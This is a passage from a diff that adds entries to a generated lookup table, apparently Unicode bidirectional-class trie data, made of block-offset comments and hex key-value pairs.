0x000a, 0x1714: 0x000a, 0x1715: 0x000a, 0x1716: 0x000a, 0x1717: 0x000a, + 0x1718: 0x000a, 0x1719: 0x000a, 0x171a: 0x000a, 0x171b: 0x000a, 0x171c: 0x000a, 0x171d: 0x000a, + 0x171e: 0x000a, 0x171f: 0x000a, 0x1720: 0x000a, 0x1721: 0x000a, 0x1722: 0x000a, 0x1723: 0x000a, + 0x1724: 0x000a, 0x1725: 0x000a, 0x1726: 0x000a, + // Block 0x5d, offset 0x1740 + 0x1740: 0x000a, 0x1741: 0x000a, 0x1742: 0x000a, 0x1743: 0x000a, 0x1744: 0x000a, 0x1745: 0x000a, + 0x1746: 0x000a, 0x1747: 0x000a, 0x1748: 0x000a, 0x1749: 0x000a, 0x174a: 0x000a, + 0x1760: 0x000a, 0x1761: 0x000a, 0x1762: 0x000a, 0x1763: 0x000a, + 0x1764: 0x000a, 0x1765: 0x000a, 0x1766: 0x000a, 0x1767: 0x000a, 0x1768: 0x000a, 0x1769: 0x000a, + 0x176a: 0x000a, 0x176b: 0x000a, 0x176c: 0x000a, 0x176d: 0x000a, 0x176e: 0x000a, 0x176f: 0x000a, + 0x1770: 0x000a, 0x1771: 0x000a, 0x1772: 0x000a, 0x1773: 0x000a, 0x1774: 0x000a, 0x1775: 0x000a, + 0x1776: 0x000a, 0x1777: 0x000a, 0x1778: 0x000a, 0x1779: 0x000a, 0x177a: 0x000a, 0x177b: 0x000a, + 0x177c: 0x000a, 0x177d: 0x000a, 0x177e: 0x000a, 0x177f: 0x000a, + // Block 0x5e, offset 0x1780 + 0x1780: 0x000a, 0x1781: 0x000a, 0x1782: 0x000a, 0x1783: 0x000a, 0x1784: 0x000a, 0x1785: 0x000a, + 0x1786: 0x000a, 0x1787: 0x000a, 0x1788: 0x0002, 0x1789: 0x0002, 0x178a: 0x0002, 0x178b: 0x0002, + 0x178c: 0x0002, 0x178d: 0x0002, 0x178e: 0x0002, 0x178f: 0x0002, 0x1790: 0x0002, 0x1791: 0x0002, + 0x1792: 0x0002, 0x1793: 0x0002, 0x1794: 0x0002, 0x1795: 0x0002, 0x1796: 0x0002, 0x1797: 0x0002, + 0x1798: 0x0002, 0x1799: 0x0002, 0x179a: 0x0002, 0x179b: 0x0002, + // Block 0x5f, offset 0x17c0 + 0x17ea: 0x000a, 0x17eb: 0x000a, 0x17ec: 0x000a, 0x17ed: 0x000a, 0x17ee: 0x000a, 0x17ef: 0x000a, + 0x17f0: 0x000a, 0x17f1: 0x000a, 0x17f2: 0x000a, 0x17f3: 0x000a, 0x17f4: 0x000a, 0x17f5: 0x000a, + 0x17f6: 0x000a, 0x17f7: 0x000a, 0x17f8: 0x000a, 0x17f9: 0x000a, 0x17fa: 0x000a, 0x17fb: 0x000a, + 0x17fc: 0x000a, 0x17fd: 0x000a, 0x17fe: 0x000a, 0x17ff: 0x000a, + // Block 0x60, offset 0x1800 + 0x1800: 0x000a, 0x1801: 0x000a, 0x1802: 0x000a, 0x1803: 0x000a, 0x1804: 0x000a, 0x1805: 0x000a, + 0x1806: 0x000a, 0x1807: 0x000a, 0x1808: 0x000a, 0x1809: 0x000a, 0x180a: 0x000a, 0x180b: 0x000a, + 0x180c: 0x000a, 0x180d: 0x000a, 0x180e: 0x000a, 0x180f: 0x000a, 0x1810: 0x000a, 0x1811: 0x000a, + 0x1812: 0x000a, 0x1813: 0x000a, 0x1814: 0x000a, 0x1815: 0x000a, 0x1816: 0x000a, 0x1817: 0x000a, + 0x1818: 0x000a, 0x1819: 0x000a, 0x181a: 0x000a, 0x181b: 0x000a, 0x181c: 0x000a, 0x181d: 0x000a, + 0x181e: 0x000a, 0x181f: 0x000a, 0x1820: 0x000a, 0x1821: 0x000a, 0x1822: 0x000a, 0x1823: 0x000a, + 0x1824: 0x000a, 0x1825: 0x000a, 0x1826: 0x000a, 0x1827: 0x000a, 0x1828: 0x000a, 0x1829: 0x000a, + 0x182a: 0x000a, 0x182b: 0x000a, 0x182d: 0x000a, 0x182e: 0x000a, 0x182f: 0x000a, + 0x1830: 0x000a, 0x1831: 0x000a, 0x1832: 0x000a, 0x1833: 0x000a, 0x1834: 0x000a, 0x1835: 0x000a, + 0x1836: 0x000a, 0x1837: 0x000a, 0x1838: 0x000a, 0x1839: 0x000a, 0x183a: 0x000a, 0x183b: 0x000a, + 0x183c: 0x000a, 0x183d: 0x000a, 0x183e: 0x000a, 0x183f: 0x000a, + // Block 0x61, offset 0x1840 + 0x1840: 0x000a, 0x1841: 0x000a, 0x1842: 0x000a, 0x1843: 0x000a, 0x1844: 0x000a, 0x1845: 0x000a, + 0x1846: 0x000a, 0x1847: 0x000a, 0x1848: 0x000a, 0x1849: 0x000a, 0x184a: 0x000a, 0x184b: 0x000a, + 0x184c: 0x000a, 0x184d: 0x000a, 0x184e: 0x000a, 0x184f: 0x000a, 0x1850: 0x000a, 0x1851: 0x000a, + 0x1852: 0x000a, 0x1853: 0x000a, 0x1854: 0x000a, 0x1855: 0x000a, 0x1856: 0x000a, 0x1857: 0x000a, + 0x1858: 0x000a, 0x1859: 0x000a, 0x185a: 0x000a, 0x185b: 0x000a, 0x185c: 0x000a, 0x185d: 0x000a, + 0x185e: 0x000a, 0x185f: 0x000a, 0x1860: 0x000a, 0x1861: 0x000a, 0x1862: 0x000a, 0x1863: 0x000a, + 0x1864: 0x000a, 0x1865: 0x000a, 0x1866: 0x000a, 0x1867: 0x000a, 0x1868: 0x003a, 0x1869: 0x002a, + 0x186a: 0x003a, 0x186b: 0x002a, 0x186c: 0x003a, 0x186d: 0x002a, 0x186e: 0x003a, 0x186f: 0x002a, + 0x1870: 0x003a, 0x1871: 0x002a, 0x1872: 0x003a, 0x1873: 0x002a, 0x1874: 0x003a, 0x1875: 0x002a, + 0x1876: 0x000a, 0x1877: 0x000a, 0x1878: 0x000a, 0x1879: 0x000a, 0x187a: 0x000a, 0x187b: 0x000a, + 0x187c: 0x000a, 0x187d: 0x000a, 0x187e: 0x000a, 0x187f: 0x000a, + // Block 0x62, offset 0x1880 + 0x1880: 0x000a, 0x1881: 0x000a, 0x1882: 0x000a, 0x1883: 0x000a, 0x1884: 0x000a, 0x1885: 0x009a, + 0x1886: 0x008a, 0x1887: 0x000a, 0x1888: 0x000a, 0x1889: 0x000a, 0x188a: 0x000a, 0x188b: 0x000a, + 0x188c: 0x000a, 0x188d: 0x000a, 0x188e: 0x000a, 0x188f: 0x000a, 0x1890: 0x000a, 0x1891: 0x000a, + 0x1892: 0x000a, 0x1893: 0x000a, 0x1894: 0x000a, 0x1895: 0x000a, 0x1896: 0x000a, 0x1897: 0x000a, + 0x1898: 0x000a, 0x1899: 0x000a, 0x189a: 0x000a, 0x189b: 0x000a, 0x189c: 0x000a, 0x189d: 0x000a, + 0x189e: 0x000a, 0x189f: 0x000a, 0x18a0: 0x000a, 0x18a1: 0x000a, 0x18a2: 0x000a, 0x18a3: 0x000a, + 0x18a4: 0x000a, 0x18a5: 0x000a, 0x18a6: 0x003a, 0x18a7: 0x002a, 0x18a8: 0x003a, 0x18a9: 0x002a, + 0x18aa: 0x003a, 0x18ab: 0x002a, 0x18ac: 0x003a, 0x18ad: 0x002a, 0x18ae: 0x003a, 0x18af: 0x002a, + 0x18b0: 0x000a, 0x18b1: 0x000a, 0x18b2: 0x000a, 0x18b3: 0x000a, 0x18b4: 0x000a, 0x18b5: 0x000a, + 0x18b6: 0x000a, 0x18b7: 0x000a, 0x18b8: 0x000a, 0x18b9: 0x000a, 0x18ba: 0x000a, 0x18bb: 0x000a, + 0x18bc: 0x000a, 0x18bd: 0x000a, 0x18be: 0x000a, 0x18bf: 0x000a, + // Block 0x63, offset 0x18c0 + 0x18c0: 0x000a, 0x18c1: 0x000a, 0x18c2: 0x000a, 0x18c3: 0x007a, 0x18c4: 0x006a, 0x18c5: 0x009a, + 0x18c6: 0x008a, 0x18c7: 0x00ba, 0x18c8: 0x00aa, 0x18c9: 0x009a, 0x18ca: 0x008a, 0x18cb: 0x007a, + 0x18cc: 0x006a, 0x18cd: 0x00da, 0x18ce: 0x002a, 0x18cf: 0x003a, 0x18d0: 0x00ca, 0x18d1: 0x009a, + 0x18d2: 0x008a, 0x18d3: 0x007a, 0x18d4: 0x006a, 0x18d5: 0x009a, 0x18d6: 0x008a, 0x18d7: 0x00ba, + 0x18d8: 0x00aa, 0x18d9: 0x000a, 0x18da: 0x000a, 0x18db: 0x000a, 0x18dc: 0x000a, 0x18dd: 0x000a, + 0x18de: 0x000a, 0x18df: 0x000a, 0x18e0: 0x000a, 0x18e1: 0x000a, 0x18e2: 0x000a, 0x18e3: 0x000a, + 0x18e4: 0x000a, 0x18e5: 0x000a, 0x18e6: 0x000a, 0x18e7: 0x000a, 0x18e8: 0x000a, 0x18e9: 0x000a, + 0x18ea: 0x000a, 0x18eb: 0x000a, 0x18ec: 0x000a, 0x18ed: 0x000a, 0x18ee: 0x000a, 0x18ef: 0x000a, + 0x18f0: 0x000a, 0x18f1: 0x000a, 0x18f2: 0x000a, 0x18f3: 0x000a, 0x18f4: 0x000a, 0x18f5: 0x000a, + 0x18f6: 0x000a, 0x18f7: 0x000a, 0x18f8: 0x000a, 0x18f9: 0x000a, 0x18fa: 0x000a, 0x18fb: 0x000a, + 0x18fc: 0x000a, 0x18fd: 0x000a, 0x18fe: 0x000a, 0x18ff: 0x000a, + // Block 0x64, offset 0x1900 + 0x1900: 0x000a, 0x1901: 0x000a, 0x1902: 0x000a, 0x1903: 0x000a, 0x1904: 0x000a, 0x1905: 0x000a, + 0x1906: 0x000a, 0x1907: 0x000a, 0x1908: 0x000a, 0x1909: 0x000a, 0x190a: 0x000a, 0x190b: 0x000a, + 0x190c: 0x000a, 0x190d: 0x000a, 0x190e: 0x000a, 0x190f: 0x000a, 0x1910: 0x000a, 0x1911: 0x000a, + 0x1912: 0x000a, 0x1913: 0x000a, 0x1914: 0x000a, 0x1915: 0x000a, 0x1916: 0x000a, 0x1917: 0x000a, + 0x1918: 0x003a, 0x1919: 0x002a, 0x191a: 0x003a, 0x191b: 0x002a, 0x191c: 0x000a, 0x191d: 0x000a, + 0x191e: 0x000a, 0x191f: 0x000a, 0x1920: 0x000a, 0x1921: 0x000a, 0x1922: 0x000a, 0x1923: 0x000a, + 0x1924: 0x000a, 0x1925: 0x000a, 0x1926: 0x000a, 0x1927: 0x000a, 0x1928: 0x000a, 0x1929: 0x000a, + 0x192a: 0x000a, 0x192b: 0x000a, 0x192c: 0x000a, 0x192d: 0x000a, 0x192e: 0x000a, 0x192f: 0x000a, + 0x1930: 0x000a, 0x1931: 0x000a, 0x1932: 0x000a, 0x1933: 0x000a, 0x1934: 0x000a, 0x1935: 0x000a, + 0x1936: 0x000a, 0x1937: 0x000a, 0x1938: 0x000a, 0x1939: 0x000a, 0x193a: 0x000a, 0x193b: 0x000a, + 0x193c: 0x003a, 0x193d: 0x002a, 0x193e: 0x000a, 0x193f: 0x000a, + // Block 0x65, offset 0x1940 + 0x1940: 0x000a, 0x1941: 0x000a, 0x1942: 0x000a, 0x1943: 0x000a, 0x1944: 0x000a, 0x1945: 0x000a, + 0x1946: 0x000a, 0x1947: 0x000a, 0x1948: 0x000a, 0x1949: 0x000a, 0x194a: 0x000a, 0x194b: 0x000a, + 0x194c: 0x000a, 0x194d: 0x000a, 0x194e: 0x000a, 0x194f: 0x000a, 0x1950: 0x000a, 0x1951: 0x000a, + 0x1952: 0x000a, 0x1953: 0x000a, 0x1954: 0x000a, 0x1955: 0x000a, 0x1956: 0x000a, 0x1957: 0x000a, + 0x1958: 0x000a, 0x1959: 0x000a, 0x195a: 0x000a, 0x195b: 0x000a, 0x195c: 0x000a, 0x195d: 0x000a, + 0x195e: 0x000a, 0x195f: 0x000a, 0x1960: 0x000a, 0x1961: 0x000a, 0x1962: 0x000a, 0x1963: 0x000a, + 0x1964: 0x000a, 0x1965: 0x000a, 0x1966: 0x000a, 0x1967: 0x000a, 0x1968: 0x000a, 0x1969: 0x000a, + 0x196a: 0x000a, 0x196b: 0x000a, 0x196c: 0x000a, 0x196d: 0x000a, 0x196e: 0x000a, 0x196f: 0x000a, + 0x1970: 0x000a, 0x1971: 0x000a, 0x1972: 0x000a, 0x1973: 0x000a, + 0x1976: 0x000a, 0x1977: 0x000a, 0x1978: 0x000a, 0x1979: 0x000a, 0x197a: 0x000a, 0x197b: 0x000a, + 0x197c: 0x000a, 0x197d: 0x000a, 0x197e: 0x000a, 0x197f: 0x000a, + // Block 0x66, offset 0x1980 + 0x1980: 0x000a, 0x1981: 0x000a, 0x1982: 0x000a, 0x1983: 0x000a, 0x1984: 0x000a, 0x1985: 0x000a, + 0x1986: 0x000a, 0x1987: 0x000a, 0x1988: 0x000a, 0x1989: 0x000a, 0x198a: 0x000a, 0x198b: 0x000a, + 0x198c: 0x000a, 0x198d: 0x000a, 0x198e: 0x000a, 0x198f: 0x000a, 0x1990: 0x000a, 0x1991: 0x000a, + 0x1992: 0x000a, 0x1993: 0x000a, 0x1994: 0x000a, 0x1995: 0x000a, 0x1997: 0x000a, + 0x1998: 0x000a, 0x1999: 0x000a, 0x199a: 0x000a, 0x199b: 0x000a, 0x199c: 0x000a, 0x199d: 0x000a, + 0x199e: 0x000a, 0x199f: 0x000a, 0x19a0: 0x000a, 0x19a1: 0x000a, 0x19a2: 0x000a, 0x19a3: 0x000a, + 0x19a4: 0x000a, 0x19a5: 0x000a, 0x19a6: 0x000a, 0x19a7: 0x000a, 0x19a8: 0x000a, 0x19a9: 0x000a, + 0x19aa: 0x000a, 0x19ab: 0x000a, 0x19ac: 0x000a, 0x19ad: 0x000a, 0x19ae: 0x000a, 0x19af: 0x000a, + 0x19b0: 0x000a, 0x19b1: 0x000a, 0x19b2: 0x000a, 0x19b3: 0x000a, 0x19b4: 0x000a, 0x19b5: 0x000a, + 0x19b6: 0x000a, 0x19b7: 0x000a, 0x19b8: 0x000a, 0x19b9: 0x000a, 0x19ba: 0x000a, 0x19bb: 0x000a, + 0x19bc: 0x000a, 0x19bd: 0x000a, 0x19be: 0x000a, 0x19bf: 0x000a, + // Block 0x67, offset 0x19c0 + 0x19e5: 0x000a, 0x19e6: 0x000a, 0x19e7: 0x000a, 0x19e8: 0x000a, 0x19e9: 0x000a, + 0x19ea: 0x000a, 0x19ef: 0x000c, + 0x19f0: 0x000c, 0x19f1: 0x000c, + 0x19f9: 0x000a, 0x19fa: 0x000a, 0x19fb: 0x000a, + 0x19fc: 0x000a, 0x19fd: 0x000a, 0x19fe: 0x000a, 0x19ff: 0x000a, + // Block 0x68, offset 0x1a00 + 0x1a3f: 0x000c, + // Block 0x69, offset 0x1a40 + 0x1a60: 0x000c, 0x1a61: 0x000c, 0x1a62: 0x000c, 0x1a63: 0x000c, + 0x1a64: 0x000c, 0x1a65: 0x000c, 0x1a66: 0x000c, 0x1a67: 0x000c, 0x1a68: 0x000c, 0x1a69: 0x000c, + 0x1a6a: 0x000c, 0x1a6b: 0x000c, 0x1a6c: 0x000c, 0x1a6d: 0x000c, 0x1a6e: 0x000c, 0x1a6f: 0x000c, + 0x1a70: 0x000c, 0x1a71: 0x000c, 0x1a72: 0x000c, 0x1a73: 0x000c, 0x1a74: 0x000c, 0x1a75: 0x000c, + 0x1a76: 0x000c, 0x1a77: 0x000c, 0x1a78: 0x000c, 0x1a79: 0x000c, 0x1a7a: 0x000c, 0x1a7b: 0x000c, + 0x1a7c: 0x000c, 0x1a7d: 0x000c, 0x1a7e: 0x000c, 0x1a7f: 0x000c, + // Block 0x6a, offset 0x1a80 + 0x1a80: 0x000a, 0x1a81: 0x000a, 0x1a82: 0x000a, 0x1a83: 0x000a, 0x1a84: 0x000a, 0x1a85: 0x000a, + 0x1a86: 0x000a, 0x1a87: 0x000a, 0x1a88: 0x000a, 0x1a89: 0x000a, 0x1a8a: 0x000a, 0x1a8b: 0x000a, + 0x1a8c: 0x000a, 0x1a8d: 0x000a, 0x1a8e: 0x000a, 0x1a8f: 0x000a, 0x1a90: 0x000a, 0x1a91: 0x000a, + 0x1a92: 0x000a, 0x1a93: 0x000a, 0x1a94: 0x000a, 0x1a95: 0x000a, 0x1a96: 0x000a, 0x1a97: 0x000a, + 0x1a98: 0x000a, 0x1a99: 0x000a, 0x1a9a: 0x000a, 0x1a9b: 0x000a, 0x1a9c: 0x000a, 0x1a9d: 0x000a, + 0x1a9e: 0x000a, 0x1a9f: 0x000a, 0x1aa0: 0x000a, 0x1aa1: 0x000a, 0x1aa2: 0x003a, 0x1aa3: 0x002a, + 0x1aa4: 0x003a, 0x1aa5: 0x002a, 0x1aa6: 0x003a, 0x1aa7: 0x002a, 0x1aa8: 0x003a, 0x1aa9: 0x002a, + 0x1aaa: 0x000a, 0x1aab: 0x000a, 0x1aac: 0x000a, 0x1aad: 0x000a, 0x1aae: 0x000a, 0x1aaf: 0x000a, + 0x1ab0: 0x000a, 0x1ab1: 0x000a, 0x1ab2: 0x000a, 0x1ab3: 0x000a, 0x1ab4: 0x000a, 0x1ab5: 0x000a, + 0x1ab6: 0x000a, 0x1ab7: 0x000a, 0x1ab8: 0x000a, 0x1ab9: 0x000a, 0x1aba: 0x000a, 0x1abb: 0x000a, + 0x1abc: 0x000a, 0x1abd: 0x000a, 0x1abe: 0x000a, 0x1abf: 0x000a, + // Block 0x6b, offset 0x1ac0 + 0x1ac0: 0x000a, 0x1ac1: 0x000a, 0x1ac2: 0x000a, 0x1ac3: 0x000a, 0x1ac4: 0x000a, 0x1ac5: 0x000a, + 0x1ac6: 0x000a, 0x1ac7: 0x000a, 0x1ac8: 0x000a, 0x1ac9: 0x000a, 0x1aca: 0x000a, 0x1acb: 0x000a, + 0x1acc: 0x000a, 0x1acd: 0x000a, 0x1ace: 0x000a, 0x1acf: 0x000a, 0x1ad0: 0x000a, 0x1ad1: 0x000a, + 0x1ad2: 0x000a, 0x1ad3: 0x000a, 0x1ad4: 0x000a, 0x1ad5: 0x009a, 0x1ad6: 0x008a, 0x1ad7: 0x00ba, + 0x1ad8: 0x00aa, 0x1ad9: 0x009a, 0x1ada: 0x008a, 0x1adb: 0x007a, 0x1adc: 0x006a, 0x1add: 0x000a, + // Block 0x6c, offset 0x1b00 + 0x1b00: 0x000a, 0x1b01: 0x000a, 0x1b02: 0x000a, 0x1b03: 0x000a, 0x1b04: 0x000a, 0x1b05: 0x000a, + 0x1b06: 0x000a, 0x1b07: 0x000a, 0x1b08: 0x000a, 0x1b09: 0x000a, 0x1b0a: 0x000a, 0x1b0b: 0x000a, + 0x1b0c: 0x000a, 0x1b0d: 0x000a, 0x1b0e: 0x000a, 0x1b0f: 0x000a, 0x1b10: 0x000a, 0x1b11: 0x000a, + 0x1b12: 0x000a, 0x1b13: 0x000a, 0x1b14: 0x000a, 0x1b15: 0x000a, 0x1b16: 0x000a, 0x1b17: 0x000a, + 0x1b18: 0x000a, 0x1b19: 0x000a, 0x1b1b: 0x000a, 0x1b1c: 0x000a, 0x1b1d: 0x000a, + 0x1b1e: 0x000a, 0x1b1f: 0x000a, 0x1b20: 0x000a, 0x1b21: 0x000a, 0x1b22: 0x000a, 0x1b23: 0x000a, + 0x1b24: 0x000a, 0x1b25: 0x000a, 0x1b26: 0x000a, 0x1b27: 0x000a, 0x1b28: 0x000a, 0x1b29: 0x000a, + 0x1b2a: 0x000a, 0x1b2b: 0x000a, 0x1b2c: 0x000a, 0x1b2d: 0x000a, 0x1b2e: 0x000a, 0x1b2f: 0x000a, + 0x1b30: 0x000a, 0x1b31: 0x000a, 0x1b32: 0x000a, 0x1b33: 0x000a, 0x1b34: 0x000a, 0x1b35: 0x000a, + 0x1b36: 0x000a, 0x1b37: 0x000a, 0x1b38: 0x000a, 0x1b39: 0x000a, 0x1b3a: 0x000a, 0x1b3b: 0x000a, + 0x1b3c: 0x000a, 0x1b3d: 0x000a, 0x1b3e: 0x000a, 0x1b3f: 0x000a, + // Block 0x6d, offset 0x1b40 + 0x1b40: 0x000a, 0x1b41: 0x000a, 0x1b42: 0x000a, 0x1b43: 0x000a, 0x1b44: 0x000a, 0x1b45: 0x000a, + 0x1b46: 0x000a, 0x1b47: 0x000a, 0x1b48: 0x000a, 0x1b49: 0x000a, 0x1b4a: 0x000a, 0x1b4b: 0x000a, + 0x1b4c: 0x000a, 0x1b4d: 0x000a, 0x1b4e: 0x000a, 0x1b4f: 0x000a, 0x1b50: 0x000a, 0x1b51: 0x000a, + 0x1b52: 0x000a, 0x1b53: 0x000a, 0x1b54: 0x000a, 0x1b55: 0x000a, 0x1b56: 0x000a, 0x1b57: 0x000a, + 0x1b58: 0x000a, 0x1b59: 0x000a, 0x1b5a: 0x000a, 0x1b5b: 0x000a, 0x1b5c: 0x000a, 0x1b5d: 0x000a, + 0x1b5e: 0x000a, 0x1b5f: 0x000a, 0x1b60: 0x000a, 0x1b61: 0x000a, 0x1b62: 0x000a, 0x1b63: 0x000a, + 0x1b64: 0x000a, 0x1b65: 0x000a, 0x1b66: 0x000a, 0x1b67: 0x000a, 0x1b68: 0x000a, 0x1b69: 0x000a, + 0x1b6a: 0x000a, 0x1b6b: 0x000a, 0x1b6c: 0x000a, 0x1b6d: 0x000a, 0x1b6e: 0x000a, 0x1b6f: 0x000a, + 0x1b70: 0x000a, 0x1b71: 0x000a, 0x1b72: 0x000a, 0x1b73: 0x000a, + // Block 0x6e, offset 0x1b80 + 0x1b80: 0x000a, 0x1b81: 0x000a, 0x1b82: 0x000a, 0x1b83: 0x000a, 0x1b84: 0x000a, 0x1b85: 0x000a, + 0x1b86: 0x000a, 0x1b87: 0x000a, 0x1b88: 0x000a, 0x1b89: 0x000a, 0x1b8a: 0x000a, 0x1b8b: 0x000a, + 0x1b8c: 0x000a, 0x1b8d: 0x000a, 0x1b8e: 0x000a, 0x1b8f: 0x000a, 0x1b90: 0x000a, 0x1b91: 0x000a, + 0x1b92: 0x000a, 0x1b93: 0x000a, 0x1b94: 0x000a, 0x1b95: 0x000a, + 0x1bb0: 0x000a, 0x1bb1: 0x000a, 0x1bb2: 0x000a, 0x1bb3: 0x000a, 0x1bb4: 0x000a, 0x1bb5: 0x000a, + 0x1bb6: 0x000a, 0x1bb7: 0x000a, 0x1bb8: 0x000a, 0x1bb9: 0x000a, 0x1bba: 0x000a, 0x1bbb: 0x000a, + // Block 0x6f, offset 0x1bc0 + 0x1bc0: 0x0009, 0x1bc1: 0x000a, 0x1bc2: 0x000a, 0x1bc3: 0x000a, 0x1bc4: 0x000a, + 0x1bc8: 0x003a, 0x1bc9: 0x002a, 0x1bca: 0x003a, 0x1bcb: 0x002a, + 0x1bcc: 0x003a, 0x1bcd: 0x002a, 0x1bce: 0x003a, 0x1bcf: 0x002a, 0x1bd0: 0x003a, 0x1bd1: 0x002a, + 0x1bd2: 0x000a, 0x1bd3: 0x000a, 0x1bd4: 0x003a, 0x1bd5: 0x002a, 0x1bd6: 0x003a, 0x1bd7: 0x002a, + 0x1bd8: 0x003a, 0x1bd9: 0x002a, 0x1bda: 0x003a, 0x1bdb: 0x002a, 0x1bdc: 0x000a, 0x1bdd: 0x000a, + 0x1bde: 0x000a, 0x1bdf: 0x000a, 0x1be0: 0x000a, + 0x1bea: 0x000c, 0x1beb: 0x000c, 0x1bec: 0x000c, 0x1bed: 0x000c, + 0x1bf0: 0x000a, + 0x1bf6: 0x000a, 0x1bf7: 0x000a, + 0x1bfd: 0x000a, 0x1bfe: 0x000a, 0x1bff: 0x000a, + // Block 0x70, offset 0x1c00 + 0x1c19: 0x000c, 0x1c1a: 0x000c, 0x1c1b: 0x000a, 0x1c1c: 0x000a, + 0x1c20: 0x000a, + // Block 0x71, offset 0x1c40 + 0x1c7b: 0x000a, + // Block 0x72, offset 0x1c80 + 0x1c80: 0x000a, 0x1c81: 0x000a, 0x1c82: 0x000a, 0x1c83: 0x000a, 0x1c84: 0x000a, 0x1c85: 0x000a, + 0x1c86: 0x000a, 0x1c87: 0x000a, 0x1c88: 0x000a, 0x1c89: 0x000a, 0x1c8a: 0x000a, 0x1c8b: 0x000a, + 0x1c8c: 0x000a, 0x1c8d: 0x000a, 0x1c8e: 0x000a, 0x1c8f: 0x000a, 0x1c90: 0x000a, 0x1c91: 0x000a, + 0x1c92: 0x000a, 0x1c93: 0x000a, 0x1c94: 0x000a, 0x1c95: 0x000a, 0x1c96: 0x000a, 0x1c97: 0x000a, + 0x1c98: 0x000a, 0x1c99: 0x000a, 0x1c9a: 0x000a, 0x1c9b: 0x000a, 0x1c9c: 0x000a, 0x1c9d: 0x000a, + 0x1c9e: 0x000a, 0x1c9f: 0x000a, 0x1ca0: 0x000a, 0x1ca1: 0x000a, 0x1ca2: 0x000a, 0x1ca3: 0x000a, + // Block 0x73, offset 0x1cc0 + 0x1cdd: 0x000a, + 0x1cde: 0x000a, + // Block 0x74, offset 0x1d00 + 0x1d10: 0x000a, 0x1d11: 0x000a, + 0x1d12: 0x000a, 0x1d13: 0x000a, 0x1d14: 0x000a, 0x1d15: 0x000a, 0x1d16: 0x000a, 0x1d17: 0x000a, + 0x1d18: 0x000a, 0x1d19: 0x000a, 0x1d1a: 0x000a, 0x1d1b: 0x000a, 0x1d1c: 0x000a, 0x1d1d: 0x000a, + 0x1d1e: 0x000a, 0x1d1f: 0x000a, + 0x1d3c: 0x000a, 0x1d3d: 0x000a, 0x1d3e: 0x000a, + // Block 0x75, offset 0x1d40 + 0x1d71: 0x000a, 0x1d72: 0x000a, 0x1d73: 0x000a, 0x1d74: 0x000a, 0x1d75: 0x000a, + 0x1d76: 0x000a, 0x1d77: 0x000a, 0x1d78: 0x000a, 0x1d79: 0x000a, 0x1d7a: 0x000a, 0x1d7b: 0x000a, + 0x1d7c: 0x000a, 0x1d7d: 0x000a, 0x1d7e: 0x000a, 0x1d7f: 0x000a, + // Block 0x76, offset 0x1d80 + 0x1d8c: 0x000a, 0x1d8d: 0x000a, 0x1d8e: 0x000a, 0x1d8f: 0x000a, + // Block 0x77, offset 0x1dc0 + 0x1df7: 0x000a, 0x1df8: 0x000a, 0x1df9: 0x000a, 0x1dfa: 0x000a, + // Block 0x78, offset 0x1e00 + 0x1e1e: 0x000a, 0x1e1f: 0x000a, + 0x1e3f: 0x000a, + // Block 0x79, offset 0x1e40 + 0x1e50: 0x000a, 0x1e51: 0x000a, + 0x1e52: 0x000a, 0x1e53: 0x000a, 0x1e54: 0x000a, 0x1e55: 0x000a, 0x1e56: 0x000a, 0x1e57: 0x000a, + 0x1e58: 0x000a, 0x1e59: 0x000a, 0x1e5a: 0x000a, 0x1e5b: 0x000a, 0x1e5c: 0x000a, 0x1e5d: 0x000a, + 0x1e5e: 0x000a, 0x1e5f: 0x000a, 0x1e60: 0x000a, 0x1e61: 0x000a, 0x1e62: 0x000a, 0x1e63: 0x000a, + 0x1e64: 0x000a, 0x1e65: 0x000a, 0x1e66: 0x000a, 0x1e67: 0x000a, 0x1e68: 0x000a, 0x1e69: 0x000a, + 0x1e6a: 0x000a, 0x1e6b: 0x000a, 0x1e6c: 0x000a, 0x1e6d: 0x000a, 0x1e6e: 0x000a, 0x1e6f: 0x000a, + 0x1e70: 0x000a, 0x1e71: 0x000a, 0x1e72: 0x000a, 0x1e73: 0x000a, 0x1e74: 0x000a, 0x1e75: 0x000a, + 0x1e76: 0x000a, 0x1e77: 0x000a, 0x1e78: 0x000a, 0x1e79: 0x000a, 0x1e7a: 0x000a, 0x1e7b: 0x000a, + 0x1e7c: 0x000a, 0x1e7d: 0x000a, 0x1e7e: 0x000a, 0x1e7f: 0x000a, + // Block 0x7a, offset 0x1e80 + 0x1e80: 0x000a, 0x1e81: 0x000a, 0x1e82: 0x000a, 0x1e83: 0x000a, 0x1e84: 0x000a, 0x1e85: 0x000a, + 0x1e86: 0x000a, + // Block 0x7b, offset 0x1ec0 + 0x1ecd: 0x000a, 0x1ece: 0x000a, 0x1ecf: 0x000a, + // Block 0x7c, offset 0x1f00 + 0x1f2f: 0x000c, + 0x1f30: 0x000c, 0x1f31: 0x000c, 0x1f32: 0x000c, 0x1f33: 0x000a, 0x1f34: 0x000c, 0x1f35: 0x000c, + 0x1f36: 0x000c, 0x1f37: 0x000c, 0x1f38: 0x000c, 0x1f39: 0x000c, 0x1f3a: 0x000c, 0x1f3b: 0x000c, + 0x1f3c: 0x000c, 0x1f3d: 0x000c, 0x1f3e: 0x000a, 0x1f3f: 0x000a, + // Block 0x7d, offset 0x1f40 + 0x1f5e: 0x000c, 0x1f5f: 0x000c, + // Block 0x7e, offset 0x1f80 + 0x1fb0: 0x000c, 0x1fb1: 0x000c, + // Block 0x7f, offset 0x1fc0 + 0x1fc0: 0x000a, 0x1fc1: 0x000a, 0x1fc2: 0x000a, 0x1fc3: 0x000a, 0x1fc4: 0x000a, 0x1fc5: 0x000a, + 0x1fc6: 0x000a, 0x1fc7: 0x000a, 0x1fc8: 0x000a, 0x1fc9: 0x000a, 0x1fca: 0x000a, 0x1fcb: 0x000a, + 0x1fcc: 0x000a, 0x1fcd: 0x000a, 0x1fce: 0x000a, 0x1fcf: 0x000a, 0x1fd0: 0x000a, 0x1fd1: 0x000a, + 0x1fd2: 0x000a, 0x1fd3: 0x000a, 0x1fd4: 0x000a, 0x1fd5: 0x000a, 0x1fd6: 0x000a, 0x1fd7: 0x000a, + 0x1fd8: 0x000a, 0x1fd9: 0x000a, 0x1fda: 0x000a, 0x1fdb: 0x000a, 0x1fdc: 0x000a, 0x1fdd: 0x000a, + 0x1fde: 0x000a, 0x1fdf: 0x000a, 0x1fe0: 0x000a, 0x1fe1: 0x000a, + // Block 0x80, offset 0x2000 + 0x2008: 0x000a, + // Block 0x81, offset 0x2040 + 0x2042: 0x000c, + 0x2046: 0x000c, 0x204b: 0x000c, + 0x2065: 0x000c, 0x2066: 0x000c, 0x2068: 